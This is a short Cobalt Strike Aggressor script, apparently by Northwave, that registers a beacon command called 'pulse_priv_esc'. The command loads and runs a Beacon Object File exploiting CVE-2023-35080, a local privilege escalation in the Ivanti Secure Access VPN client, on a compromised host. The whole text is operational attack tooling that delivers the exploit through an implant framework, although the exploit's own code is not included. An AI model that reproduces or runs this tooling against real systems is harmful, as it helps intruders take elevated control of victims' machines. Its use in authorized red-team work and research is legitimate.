beacon_command_register("pulse_priv_esc", "Ivanti Secure Access VPN client LPE (CVE-2023-35080) by Northwave.", "Synopsis: pulse_priv_esc\n\n" . "Exploit Ivanti Secure Access (previously Pulse Secure) VPN client (CVE-2023-35080)."); alias pulse_priv_esc { local('$barch $file $handle $object'); # Log the current task btask($1, "Tasked beacon to run PulsePrivEsc exploit!"); # Find and log object file $barch = barch($1); $file = script_resource("PulsePrivEsc. $+ $barch $+ .o"); blog($1, $file); # Read the object file $handle = openf($file); $object = readb($handle, -1); closef($handle); # Run the object file blog($1, "Starting the Beacon Object File (BOF). This may take a minute depending on the target host hardware."); beacon_inline_execute($1, $object, "go", $null); }